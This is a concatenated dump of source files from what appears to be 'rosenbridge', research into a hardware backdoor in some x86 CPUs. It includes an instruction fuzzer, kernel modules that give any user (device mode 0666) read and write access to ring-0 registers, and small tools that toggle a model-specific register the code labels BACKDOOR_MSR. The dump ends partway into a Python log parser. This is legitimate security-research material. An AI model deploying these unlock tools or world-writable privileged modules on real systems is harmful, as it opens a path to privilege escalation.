static bool have_state=false;
initialize_state();
//TODO: testing without preamble
preamble_length=0;
for (i=0; i<preamble_length; i++) {
((char*)packet)[i]=((char*)&preamble_start)[i];
}
for (i=0; i<MAX_INSN_LENGTH; i++) {
((char*)packet)[i+preamble_length]=insn.bytes[i];
}
//TODO: testing without preamble
for (i=0; i<sizeof(cleanup); i++) {
((char*)packet)[i+MAX_INSN_LENGTH]=cleanup[i];
}
dummy_stack.dummy_stack_lo[0]=0;
if (!have_state) {
/* optimization: only get state first time */
have_state=true;
configure_sig_handler(state_handler);
__asm__ __volatile__ ("ud2\n");
}
configure_sig_handler(fault_handler);
__asm__ __volatile__ (
#if DEBUG
#warning Using debug payload.
"\
debug: \n\
mov %[eax], %%eax \n\
mov %[ebx], %%ebx \n\
mov %[ecx], %%ecx \n\
mov %[edx], %%edx \n\
mov %[esi], %%esi \n\
mov %[edi], %%edi \n\
mov %[ebp], %%ebp \n\
mov %[esp], %%esp \n\
jmp *%[packet] \n\
"
#else
"\
debug: \n\
mov %[packet], %%eax \n\
mov %[ebx], %%ebx \n\
mov %[ecx], %%ecx \n\
mov %[edx], %%edx \n\
mov %[esi], %%esi \n\
mov %[edi], %%edi \n\
mov %[ebp], %%ebp \n\
mov %[esp], %%esp \n\
.byte 0x0f, 0x3f \n\
"
#endif // DEBUG
:
:
[eax]"m"(inject_state.eax),
[ebx]"m"(inject_state.ebx),
[ecx]"m"(inject_state.ecx),
[edx]"m"(inject_state.edx),
[esi]"m"(inject_state.esi),
[edi]"m"(inject_state.edi),
[ebp]"m"(inject_state.ebp),
[esp]"m"(inject_state.esp),
[packet]"m"(packet)
);
__asm__ __volatile__ ("\
.global resume \n\
resume: \n\
"
);
;
}
void state_handler(int signum, siginfo_t* si, void* p)
{
fault_context=((ucontext_t*)p)->uc_mcontext;
((ucontext_t*)p)->uc_mcontext.gregs[REG_EIP]+=UD2_SIZE;
}
void fault_handler(int signum, siginfo_t* si, void* p)
{
int insn_length;
ucontext_t* uc=(ucontext_t*)p;
result=(result_t){
1,
signum,
si->si_code,
(signum==SIGSEGV||signum==SIGBUS)?(uint32_t)(uintptr_t)si->si_addr:(uint32_t)-1
};
memcpy(uc->uc_mcontext.gregs, fault_context.gregs, sizeof(fault_context.gregs));
uc->uc_mcontext.gregs[REG_EIP]=(uintptr_t)&resume;
uc->uc_mcontext.gregs[REG_EFL]&=~TF;
}
void configure_sig_handler(void (*handler)(int, siginfo_t*, void*))
{
struct sigaction s;
s.sa_sigaction=handler;
s.sa_flags=SA_SIGINFO|SA_ONSTACK;
sigfillset(&s.sa_mask);
sigaction(SIGILL, &s, NULL);
sigaction(SIGSEGV, &s, NULL);
sigaction(SIGFPE, &s, NULL);
sigaction(SIGBUS, &s, NULL);
sigaction(SIGTRAP, &s, NULL);
}
void generate_instruction(void)
{
int i, l;
(*counter)++;
if ((*counter)%PREFIX_TICK==0) {
(*prefix)++;
printf(">> %04x\n", *prefix);
fflush(stdout);
}
for (i=0; i<MAX_INSN_LENGTH; i++) {
insn.bytes[i]=rand();
}
for (i=0; i<PREFIX_LENGTH; i++) {
insn.bytes[i]=((*prefix)>>(8*(PREFIX_LENGTH-i-1)))&0xff;
}
l=get_instruction_length();
for (i=l; i<MAX_INSN_LENGTH; i++) {
insn.bytes[i]=0x90;
}
}
bool is_blacklisted(void)
{
int i=0;
while (opcode_blacklist[i].opcode) {
if (has_opcode((uint8_t*)opcode_blacklist[i].opcode)) {
return true;
}
i++;
}
return false;
}
void fuzz(void)
{
int i;
void* packet_buffer_unaligned;
packet_buffer_unaligned=malloc(PAGE_SIZE*2);
packet=(void*)
(((uintptr_t)packet_buffer_unaligned+(PAGE_SIZE-1))&~(PAGE_SIZE-1));
assert(!mprotect(packet,PAGE_SIZE,PROT_READ|PROT_WRITE|PROT_EXEC));
sigaltstack(&ss, 0);
while (1) {
do {
generate_instruction();
} while (is_blacklisted());
if ((*counter&TICK_MASK)==0) {
printf("%10lld: ", *counter);
print_insn(&insn);
}
inject();
}
free(packet_buffer_unaligned);
}
int main(int argc, char** argv)
{
int i;
int pid;
unsigned int seed;
counter=mmap(NULL, sizeof *counter, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
prefix=mmap(NULL, sizeof *prefix, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
initialize_capstone();
*counter=0;
*prefix=START_PREFIX;
while (1) {
#if GDB
pid=0;
#else
pid=fork();
#endif
if (pid==0) {
seed=time(NULL)*(*counter+1);
srand(seed);
printf("fuzzing (%08x)...\n", seed);
fflush(stdout);
fuzz();
}
else {
/* parent */
uint64_t last_counter=-1;
while (1) {
usleep(TIMEOUT);
if (last_counter==*counter) {
if (KILL) {
printf("killing %d\n", pid);
fflush(stdout);
kill(pid, SIGKILL);
break;
}
else {
printf("frozen...\n");
fflush(stdout);
}
}
else {
last_counter=*counter;
}
}
}
}
return 0;
}
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/wrap/fuzz_wrapper.sh | Shell | #!/bin/bash
modprobe msr
../../lock/bin/unlock
./bin/fuzz_wrapper
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/deis_kernel.c | C | #include <linux/slab.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/module.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <asm/io.h>
#include <linux/init.h>
#include <linux/compiler.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/sched.h>
#include <linux/types.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include "deis_kernel.h"
#define DEBUG 0
#if DEBUG
#define msg(m, ...) { printk(KERN_INFO "(%s)>> " m, device_name, ##__VA_ARGS__); }
#else
#define msg(m, ...)
#endif
#define BUFFER_SIZE 32
unsigned char buffer[BUFFER_SIZE];
static const char device_name[]="deis_kernel";
static dev_t deis_kernel_devno;
static struct cdev deis_kernel_cdev;
static struct class *deis_kernel_class;
static long deis_kernel_ioctl(
struct file* file,
unsigned int cmd,
unsigned long val
);
static const struct file_operations fops={
.owner = THIS_MODULE,
.unlocked_ioctl = deis_kernel_ioctl
};
static void reset_buffer(void)
{
int i;
for (i=0; i<BUFFER_SIZE; i++) {
buffer[i]=(0x11*i)&0xff;
}
}
static long deis_kernel_ioctl(
struct file* file,
unsigned int cmd,
unsigned long val
)
{
msg("ioctl %08x %08lx\n", cmd, val);
switch (cmd) {
case GET_BUFFER_ADDRESS:
msg("get_buffer_address\n");
put_user((uintptr_t)&buffer, (uintptr_t*)val);
break;
case GET_BUFFER_SIZE:
msg("get_buffer_size\n");
put_user(BUFFER_SIZE, (unsigned int*)val);
break;
case READ_BUFFER:
msg("read_buffer\n");
copy_to_user((void*)val, buffer, BUFFER_SIZE);
break;
case RESET_BUFFER:
msg("reset_buffer\n");
reset_buffer();
break;
default:
msg("unrecognized ioctl %d\n", cmd);
break;
}
return 0;
}
static char *deis_kernel_devnode(struct device *dev, umode_t *mode)
{
if (!mode)
return NULL;
/*
if (dev->devt == MKDEV(TTYAUX_MAJOR, 0) ||
dev->devt == MKDEV(TTYAUX_MAJOR, 2))
*/
*mode=0666;
return NULL;
}
static int register_device(void)
{
int result;
struct device *dev_ret;
reset_buffer();
if ((result=alloc_chrdev_region(&deis_kernel_devno, 0, 1, device_name)) < 0) {
return result;
}
if (IS_ERR(deis_kernel_class=class_create(THIS_MODULE, device_name))) {
unregister_chrdev_region(deis_kernel_devno, 1);
return PTR_ERR(deis_kernel_class);
}
deis_kernel_class->devnode=deis_kernel_devnode;
if (IS_ERR(dev_ret=device_create(deis_kernel_class, NULL, deis_kernel_devno, NULL, device_name))) {
class_destroy(deis_kernel_class);
unregister_chrdev_region(deis_kernel_devno, 1);
return PTR_ERR(dev_ret);
}
cdev_init(&deis_kernel_cdev, &fops);
if ((result = cdev_add(&deis_kernel_cdev, deis_kernel_devno, 1)) < 0)
{
device_destroy(deis_kernel_class, deis_kernel_devno);
class_destroy(deis_kernel_class);
unregister_chrdev_region(deis_kernel_devno, 1);
return result;
}
return 0;
}
static void unregister_device(void)
{
msg("unregister\n");
cdev_del(&deis_kernel_cdev);
device_destroy(deis_kernel_class, deis_kernel_devno);
class_destroy(deis_kernel_class);
unregister_chrdev_region(deis_kernel_devno, 1);
}
static int __init init_deis_kernel(void)
{
int result;
msg("init\n");
result=register_device();
return result;
}
static void __exit cleanup_deis_kernel(void)
{
msg("exit\n");
unregister_device();
}
module_init(init_deis_kernel);
module_exit(cleanup_deis_kernel);
MODULE_LICENSE("GPL");
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/deis_kernel.h | C/C++ Header | #ifndef DEIS_KERNEL_H
#define DEIS_KERNEL_H
#define GET_BUFFER_ADDRESS 0x8001
#define GET_BUFFER_SIZE 0x8002
#define READ_BUFFER 0x8003
#define RESET_BUFFER 0x8004
#endif // DEIS_KERNEL_H
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/privregs/privregs.c | C | #include <linux/slab.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/module.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <asm/io.h>
#include <linux/init.h>
#include <linux/compiler.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/sched.h>
#include <linux/types.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include "privregs.h"
#define DEBUG 1
#define USE_AMD_PASSWORD 1
#define AMD_PASSWORD_VAL "0x9c5a203a"
#define AMD_PASSWORD_REG "esi"
#if DEBUG
#define msg(m, ...) { printk(KERN_INFO "(%s)>> " m, device_name, ##__VA_ARGS__); }
#else
#define msg(m, ...)
#endif
#if defined(__x86_64__)
typedef struct __attribute__ ((packed)) { uint64_t lo; uint64_t hi; } idt_descriptor_t;
typedef struct __attribute__ ((packed)) { uint16_t size; uint64_t base; } idtr_t;
typedef uint64_t register_t;
#define PRIxPTR "016lx"
#define FAULT_BYTES "32"
#define SP "rsp"
#elif defined(__i386__)
typedef struct __attribute__ ((packed)) { uint64_t lo; } idt_descriptor_t;
typedef struct __attribute__ ((packed)) { uint16_t size; uint32_t base; } idtr_t;
typedef uint32_t register_t;
#define PRIxPTR "08lx"
#define FAULT_BYTES "16"
#define SP "esp"
#else
#error
#endif
#define IDT_ALIGN 4096
#define IDT_ENTRIES 256
static void* idt_buffer=NULL;
static void* idt=NULL;
static idtr_t idtr_old, idtr_new;
static const char device_name[]="privregs";
static dev_t privregs_devno;
static struct cdev privregs_cdev;
static struct class *privregs_class;
static long privreg_ioctl(
struct file* file,
unsigned int cmd,
unsigned long val
);
static const struct file_operations fops={
.owner = THIS_MODULE,
.unlocked_ioctl = privreg_ioctl
};
static long privreg_ioctl(
struct file* file,
unsigned int usr_cmd,
unsigned long usr_val
)
{
unsigned int cmd;
privregs_req_t req;
register unsigned long r_data;
cmd = usr_cmd;
get_user(req.reg, &((privregs_req_t*)usr_val)->reg);
/* get_user(req.val, &((privregs_req_t*)usr_val)->val); */
/* poor old kernel can't find this? ^ */
copy_from_user(&req.val, &((privregs_req_t*)usr_val)->val, sizeof(req.val));
msg("ioctl %08x %08x %08llx\n", cmd, req.reg, req.val);
switch (cmd) {
case READ_CR:
r_data=0;
msg("cr read %u\n", req.reg);
switch (req.reg) {
case 0: __asm__ __volatile__ ("mov %%cr0, %0" : "=r"(r_data)); break;
case 1: __asm__ __volatile__ ("mov %%cr1, %0" : "=r"(r_data)); break;
case 2: __asm__ __volatile__ ("mov %%cr2, %0" : "=r"(r_data)); break;
case 3: __asm__ __volatile__ ("mov %%cr3, %0" : "=r"(r_data)); break;
case 4: __asm__ __volatile__ ("mov %%cr4, %0" : "=r"(r_data)); break;
case 5: __asm__ __volatile__ ("mov %%cr5, %0" : "=r"(r_data)); break;
case 6: __asm__ __volatile__ ("mov %%cr6, %0" : "=r"(r_data)); break;
case 7: __asm__ __volatile__ ("mov %%cr7, %0" : "=r"(r_data)); break;
case 8: __asm__ __volatile__ ("mov %%cr8, %0" : "=r"(r_data)); break;
case 9: __asm__ __volatile__ ("mov %%cr9, %0" : "=r"(r_data)); break;
case 10: __asm__ __volatile__ ("mov %%cr10, %0" : "=r"(r_data)); break;
case 11: __asm__ __volatile__ ("mov %%cr11, %0" : "=r"(r_data)); break;
case 12: __asm__ __volatile__ ("mov %%cr12, %0" : "=r"(r_data)); break;
case 13: __asm__ __volatile__ ("mov %%cr13, %0" : "=r"(r_data)); break;
case 14: __asm__ __volatile__ ("mov %%cr14, %0" : "=r"(r_data)); break;
case 15: __asm__ __volatile__ ("mov %%cr15, %0" : "=r"(r_data)); break;
default:
msg("unsupported cr read %u\n", req.reg);
break;
}
req.val=r_data;
break;
case WRITE_CR:
r_data=req.val;
msg("cr write %u\n", req.reg);
switch (req.reg) {
case 0: __asm__ __volatile__ ("mov %0, %%cr0" : : "r"(r_data)); break;
case 1: __asm__ __volatile__ ("mov %0, %%cr1" : : "r"(r_data)); break;
case 2: __asm__ __volatile__ ("mov %0, %%cr2" : : "r"(r_data)); break;
case 3: __asm__ __volatile__ ("mov %0, %%cr3" : : "r"(r_data)); break;
case 4: __asm__ __volatile__ ("mov %0, %%cr4" : : "r"(r_data)); break;
case 5: __asm__ __volatile__ ("mov %0, %%cr5" : : "r"(r_data)); break;
case 6: __asm__ __volatile__ ("mov %0, %%cr6" : : "r"(r_data)); break;
case 7: __asm__ __volatile__ ("mov %0, %%cr7" : : "r"(r_data)); break;
case 8: __asm__ __volatile__ ("mov %0, %%cr8" : : "r"(r_data)); break;
case 9: __asm__ __volatile__ ("mov %0, %%cr9" : : "r"(r_data)); break;
case 10: __asm__ __volatile__ ("mov %0, %%cr10" : : "r"(r_data)); break;
case 11: __asm__ __volatile__ ("mov %0, %%cr11" : : "r"(r_data)); break;
case 12: __asm__ __volatile__ ("mov %0, %%cr12" : : "r"(r_data)); break;
case 13: __asm__ __volatile__ ("mov %0, %%cr13" : : "r"(r_data)); break;
case 14: __asm__ __volatile__ ("mov %0, %%cr14" : : "r"(r_data)); break;
case 15: __asm__ __volatile__ ("mov %0, %%cr15" : : "r"(r_data)); break;
default:
msg("unsupported cr write %u\n", req.reg);
break;
}
break;
case READ_DR:
r_data=0;
msg("dr read %u\n", req.reg);
switch (req.reg) {
case 0: __asm__ __volatile__ ("mov %%dr0, %0" : "=r"(r_data)); break;
case 1: __asm__ __volatile__ ("mov %%dr1, %0" : "=r"(r_data)); break;
case 2: __asm__ __volatile__ ("mov %%dr2, %0" : "=r"(r_data)); break;
case 3: __asm__ __volatile__ ("mov %%dr3, %0" : "=r"(r_data)); break;
case 4: __asm__ __volatile__ ("mov %%dr4, %0" : "=r"(r_data)); break;
case 5: __asm__ __volatile__ ("mov %%dr5, %0" : "=r"(r_data)); break;
case 6: __asm__ __volatile__ ("mov %%dr6, %0" : "=r"(r_data)); break;
case 7: __asm__ __volatile__ ("mov %%dr7, %0" : "=r"(r_data)); break;
default:
msg("unsupported dr read %u\n", req.reg);
break;
}
req.val=r_data;
break;
case WRITE_DR:
r_data=req.val;
msg("dr write %u\n", req.reg);
switch (req.reg) {
case 0: __asm__ __volatile__ ("mov %0, %%dr0" : : "r"(r_data)); break;
case 1: __asm__ __volatile__ ("mov %0, %%dr1" : : "r"(r_data)); break;
case 2: __asm__ __volatile__ ("mov %0, %%dr2" : : "r"(r_data)); break;
case 3: __asm__ __volatile__ ("mov %0, %%dr3" : : "r"(r_data)); break;
case 4: __asm__ __volatile__ ("mov %0, %%dr4" : : "r"(r_data)); break;
case 5: __asm__ __volatile__ ("mov %0, %%dr5" : : "r"(r_data)); break;
case 6: __asm__ __volatile__ ("mov %0, %%dr6" : : "r"(r_data)); break;
case 7: __asm__ __volatile__ ("mov %0, %%dr7" : : "r"(r_data)); break;
default:
msg("unsupported dr write %u\n", req.reg);
break;
}
break;
case READ_MSR:
__asm__ __volatile__ ("\
movl %2, %%ecx \n\
rdmsr \n\
movl %%eax, %0 \n\
movl %%edx, %1 \n\
"
:"=m"(req.val), "=m"(*((uint32_t*)&req.val+1))
:"m"(req.reg)
:"eax", "ecx", "edx"
);
break;
case WRITE_MSR:
__asm__ __volatile__ ("\
"
#if USE_AMD_PASSWORD
"\
movl $" AMD_PASSWORD_VAL ", %%" AMD_PASSWORD_REG "\n\
"
#endif
"\
movl %2, %%ecx \n\
movl %0, %%eax \n\
movl %1, %%edx \n\
wrmsr \n\
"
:
:"m"(req.val), "m"(*((uint32_t*)&req.val+1)), "m"(req.reg)
:"eax", "ecx", "edx", AMD_PASSWORD_REG
);
break;
case CHECK_MSR:
__asm__ __volatile__ ("lidt %0" :: "m"(idtr_new));
__asm__ __volatile__ ("\
"
#if USE_AMD_PASSWORD
"\
movl $" AMD_PASSWORD_VAL ", %%" AMD_PASSWORD_REG "\n\
"
#endif
"\
movl %1, %%ecx \n\
rdmsr \n\
movl $1, %0 \n\
jmp done \n\
handler: \n\
add $" FAULT_BYTES ", %%" SP "\n\
movl $0, %0 \n\
done: \n\
"
:"=m"(req.val)
:"m"(req.reg)
:"eax", "ecx", "edx", AMD_PASSWORD_REG
);
__asm__ __volatile__ ("lidt %0" :: "m"(idtr_old));
break;
case READ_SEG:
r_data=0;
msg("seg read %u\n", req.reg);
switch (req.reg) {
case SEG_DS: __asm__ __volatile__ ("mov %%ds, %0" : "=r"(r_data)); break;
case SEG_ES: __asm__ __volatile__ ("mov %%es, %0" : "=r"(r_data)); break;
case SEG_FS: __asm__ __volatile__ ("mov %%fs, %0" : "=r"(r_data)); break;
case SEG_GS: __asm__ __volatile__ ("mov %%gs, %0" : "=r"(r_data)); break;
case SEG_SS: __asm__ __volatile__ ("mov %%ss, %0" : "=r"(r_data)); break;
case SEG_CS: __asm__ __volatile__ ("mov %%cs, %0" : "=r"(r_data)); break;
default:
msg("unsupported seg read %u\n", req.reg);
break;
}
req.val=r_data;
break;
case WRITE_SEG:
r_data=req.val;
msg("seg write %u\n", req.reg);
switch (req.reg) {
case SEG_DS: __asm__ __volatile__ ("mov %0, %%ds" : : "r"(r_data)); break;
case SEG_ES: __asm__ __volatile__ ("mov %0, %%es" : : "r"(r_data)); break;
case SEG_FS: __asm__ __volatile__ ("mov %0, %%fs" : : "r"(r_data)); break;
case SEG_GS: __asm__ __volatile__ ("mov %0, %%gs" : : "r"(r_data)); break;
case SEG_SS: __asm__ __volatile__ ("mov %0, %%ss" : : "r"(r_data)); break;
case SEG_CS: __asm__ __volatile__ ("mov %0, %%cs" : : "r"(r_data)); break;
default:
msg("unsupported seg write %u\n", req.reg);
break;
}
break;
default:
msg("unrecognized ioctl %d\n", cmd);
break;
}
put_user(req.reg, &((privregs_req_t*)usr_val)->reg);
put_user(req.val, &((privregs_req_t*)usr_val)->val);
return 0;
}
static int swap_idt(void)
{
extern /* void */ char handler;
uint64_t fault_handler=(uint64_t)(uintptr_t)&handler;
idt_descriptor_t descriptor_d_catch, descriptor_d_orig;
msg("swapping idt\n");
idt_buffer=kmalloc(IDT_ALIGN+IDT_ENTRIES*sizeof(idt_descriptor_t), GFP_KERNEL);
if (idt_buffer==NULL) { return -1; }
idt=(void*)(((uintptr_t)idt_buffer)&~((uintptr_t)IDT_ALIGN-1));
msg("idt_buffer: %"PRIxPTR"\n", (uintptr_t)idt_buffer);
msg("idt: %"PRIxPTR"\n", (uintptr_t)idt);
__asm__ __volatile__ ("\
sidt %[_idt] \n\
"
: [_idt]"=m"(idtr_old)
);
msg("idtr.base: %"PRIxPTR"\n", (uintptr_t)idtr_old.base);
msg("idtr.size: %04x\n", idtr_old.size);
descriptor_d_orig=((idt_descriptor_t*)idtr_old.base)[0xd];
msg("idt[d].lo: %016llx\n", descriptor_d_orig.lo);
memcpy(idt, (void*)idtr_old.base, IDT_ENTRIES*sizeof(idt_descriptor_t));
idtr_new.size=idtr_old.size;
idtr_new.base=(uintptr_t)idt;
msg("handler address > %"PRIxPTR"\n", (uintptr_t)&handler);
descriptor_d_catch.lo=
(descriptor_d_orig.lo&0x0000ffffffff0000ULL)|
(fault_handler&0x000000000000ffffULL) |
((fault_handler&0x00000000ffff0000ULL) << 32);
#if defined(__x86_64__)
descriptor_d_catch.hi=
((fault_handler&0xffffffff00000000ULL) >> 32);
#endif
((idt_descriptor_t*)idtr_new.base)[0xd]=descriptor_d_catch;
msg("idt[d].lo: %016llx\n", descriptor_d_catch.lo);
return 0;
}
static void unswap_idt(void)
{
kfree(idt_buffer);
}
static char *privregs_devnode(struct device *dev, umode_t *mode)
{
if (!mode)
return NULL;
/*
if (dev->devt == MKDEV(TTYAUX_MAJOR, 0) ||
dev->devt == MKDEV(TTYAUX_MAJOR, 2))
*/
*mode=0666;
return NULL;
}
static int register_device(void)
{
int result;
struct device *dev_ret;
if ((result=alloc_chrdev_region(&privregs_devno, 0, 1, device_name)) < 0) {
return result;
}
if (IS_ERR(privregs_class=class_create(THIS_MODULE, device_name))) {
unregister_chrdev_region(privregs_devno, 1);
return PTR_ERR(privregs_class);
}
privregs_class->devnode=privregs_devnode;
if (IS_ERR(dev_ret=device_create(privregs_class, NULL, privregs_devno, NULL, device_name))) {
class_destroy(privregs_class);
unregister_chrdev_region(privregs_devno, 1);
return PTR_ERR(dev_ret);
}
cdev_init(&privregs_cdev, &fops);
if ((result = cdev_add(&privregs_cdev, privregs_devno, 1)) < 0)
{
device_destroy(privregs_class, privregs_devno);
class_destroy(privregs_class);
unregister_chrdev_region(privregs_devno, 1);
return result;
}
return 0;
}
static void unregister_device(void)
{
msg("unregister\n");
cdev_del(&privregs_cdev);
device_destroy(privregs_class, privregs_devno);
class_destroy(privregs_class);
unregister_chrdev_region(privregs_devno, 1);
}
static int __init init_privreg(void)
{
int result;
msg("init\n");
result=register_device();
if (!result) {
result=swap_idt();
}
return result;
}
static void __exit cleanup_privreg(void)
{
msg("exit\n");
unswap_idt();
unregister_device();
}
module_init(init_privreg);
module_exit(cleanup_privreg);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("xoreaxeaxeax");
MODULE_DESCRIPTION("Access to ring 0 registers");
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/privregs/privregs.h | C/C++ Header | #ifndef PRIVREGS_H
#define PRIVREGS_H
#define READ_CR 0x8001
#define READ_DR 0x8002
#define READ_SEG 0x8003
#define READ_MSR 0x8004
#define WRITE_CR 0x8005
#define WRITE_DR 0x8006
#define WRITE_SEG 0x8007
#define WRITE_MSR 0x8008
#define CHECK_MSR 0x8009
typedef enum {
SEG_DS,
SEG_ES,
SEG_FS,
SEG_GS,
SEG_SS,
SEG_CS
} segment_register_t;
typedef struct {
uint32_t reg;
uint64_t val;
} privregs_req_t;
#endif // PRIVREGS_H
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/test_deis_kernel.c | C | #include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include "deis_kernel.h"
int main(void)
{
int i;
uintptr_t buffer_address;
unsigned int buffer_size;
unsigned char* buffer=NULL;
int handle;
handle=open("/dev/deis_kernel", O_RDWR);
if (!handle) {
printf("could not open device\n");
exit(-1);
}
ioctl(handle, GET_BUFFER_SIZE, &buffer_size);
printf("buffer size: %d\n", buffer_size);
buffer=malloc(buffer_size);
ioctl(handle, GET_BUFFER_ADDRESS, &buffer_address);
printf("buffer address: %08x\n", buffer_address);
ioctl(handle, READ_BUFFER, buffer);
for (i=0; i<buffer_size; i++) {
printf("%02x ", buffer[i]);
}
printf("\n");
/*
ioctl(handle, RESET_BUFFER, NULL);
ioctl(handle, READ_BUFFER, buffer);
for (i=0; i<buffer_size; i++) {
printf("%02x ", buffer[i]);
}
printf("\n");
*/
close(handle);
return 0;
}
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
kern/watch_mem.c | C | #include <linux/module.h> // included for all kernel modules
#include <linux/kernel.h> // included for KERN_INFO
#include <linux/init.h> // included for __init and __exit macros
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/delay.h>
#include <linux/timer.h>
#define DEVICE_NAME "watch_mem"
int g_time_interval = 1000;
struct timer_list g_timer;
unsigned char buffer[]={
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
};
void tick(unsigned long data)
{
printk(">>> &buffer: %08lx > %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x\n",
(uintptr_t)buffer,
buffer[0],
buffer[1],
buffer[2],
buffer[3],
buffer[4],
buffer[5],
buffer[6],
buffer[7],
buffer[8],
buffer[9],
buffer[10],
buffer[11],
buffer[12],
buffer[13],
buffer[14],
buffer[15]
);
/* restart the timer */
mod_timer(&g_timer, jiffies+msecs_to_jiffies(g_time_interval));
}
static int __init watch_init(void)
{
printk(KERN_INFO "entering\n");
/* start the timer */
setup_timer(&g_timer, tick, 0);
mod_timer( &g_timer, jiffies + msecs_to_jiffies(g_time_interval));
return 0;
}
static void __exit watch_cleanup(void)
{
printk(KERN_INFO "Cleaning up module.\n");
del_timer(&g_timer);
}
module_init(watch_init);
module_exit(watch_cleanup);
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
lock/lock.c | C | #include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#define BACKDOOR_MSR 0x00001107
#define BACKDOOR_TOGGLE 0x00000001
#define MSR_DEV "/dev/cpu/0/msr"
int main(void)
{
FILE* f;
uint64_t v;
f=fopen(MSR_DEV, "rb+");
if (f==NULL) {
printf("! failed to open %s\n", MSR_DEV);
exit(-1);
}
fseek(f, BACKDOOR_MSR, SEEK_SET);
fread(&v, 8, 1, f);
printf("read.... %08llx\n", v);
v&=~BACKDOOR_TOGGLE;
fseek(f, BACKDOOR_MSR, SEEK_SET);
fwrite(&v, 8, 1, f);
printf("wrote... %08llx\n", v);
fseek(f, BACKDOOR_MSR, SEEK_SET);
fread(&v, 8, 1, f);
printf("read.... %08llx\n", v);
fclose(f);
return 0;
}
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
lock/unlock.c | C | #include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#define BACKDOOR_MSR 0x00001107
#define BACKDOOR_TOGGLE 0x00000001
#define MSR_DEV "/dev/cpu/0/msr"
int main(void)
{
FILE* f;
uint64_t v;
f=fopen(MSR_DEV, "rb+");
if (f==NULL) {
printf("! failed to open %s\n", MSR_DEV);
exit(-1);
}
fseek(f, BACKDOOR_MSR, SEEK_SET);
fread(&v, 8, 1, f);
printf("read.... %08llx\n", v);
v|=BACKDOOR_TOGGLE;
fseek(f, BACKDOOR_MSR, SEEK_SET);
fwrite(&v, 8, 1, f);
printf("wrote... %08llx\n", v);
fseek(f, BACKDOOR_MSR, SEEK_SET);
fread(&v, 8, 1, f);
printf("read.... %08llx\n", v);
fclose(f);
return 0;
}
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
proc/extract.py | Python | #
# project:rosenbridge
# domas // @xoreaxeaxeax
#
# the pattern extractor #
# this utility is used to process the logs generated from the deis instruction
# fuzzer. by looking at changes in the system state, it identifies basic
# patterns in an instruction, such as 'adds two registers' or 'loads a value
# from memory'. it then groups instructions based on overlapping patterns; for
# example, it may find a group that both writes a value to memory, and
# decrements a register by 4 - we might then infer that these are 'push'
# instructions.
# the script should be run with pypy, and may use very large (>16 gb) amounts of
# memory.
import re
import operator
import sys
import random
ALL_RUNS = 4 # 1 for search kernel
MEM_RUNS = 2 # 1 for search kernel
registers = {
"eax":32, "ebx":32, "ecx":32, "edx":32, "esi":32, "edi":32, "ebp":32, "esp":32,
"mm0":64, "mm1":64, "mm2":64, "mm3":64, "mm4":64, "mm5":64, "mm6":64, "mm7":64,
"cr0":32, "cr2":32, "cr3":32, "cr4":32,
"dr0":32, "dr1":32, "dr2":32, "dr3":32, "dr4":32, "dr5":32, "dr6":32, "dr7":32,
"eflags":32,
}
sprs = [
"cr0", "cr2", "cr3", "cr4",
"dr0", "dr1", "dr2", "dr3", "dr4", "dr5", "dr6", "dr7",
"eflags",
]
class insn:
def __init__(self, instruction, input_state, output_state, input_mem, output_mem, run, lines=""):
self.instruction = instruction
self.input_state = input_state
self.output_state = output_state
self.input_mem = input_mem
self.output_mem = output_mem
self.run = run
self.lines = lines
def bits(self):
b = "{0:032b}".format(self.instruction)
n = 4
b = " ".join([b[i:i+n] for i in xrange(0, len(b), n)])
n = 10
b = " ".join([b[i:i+n] for i in xrange(0, len(b), n)])
return b
def __str__(self):
return "%08x [ %s ]" % (self.instruction, self.bits())
instructions = []
if len(sys.argv) < 2:
print "usage: parse_log.py log"
exit(-1)
with open(sys.argv[1], "r") as f:
state = None
instruction = None
i_lines = None
run = None
# loading
lines = f.readlines()
# cleaning
HEADER = "> device <.*, unknown>: "
cleaned_lines = []
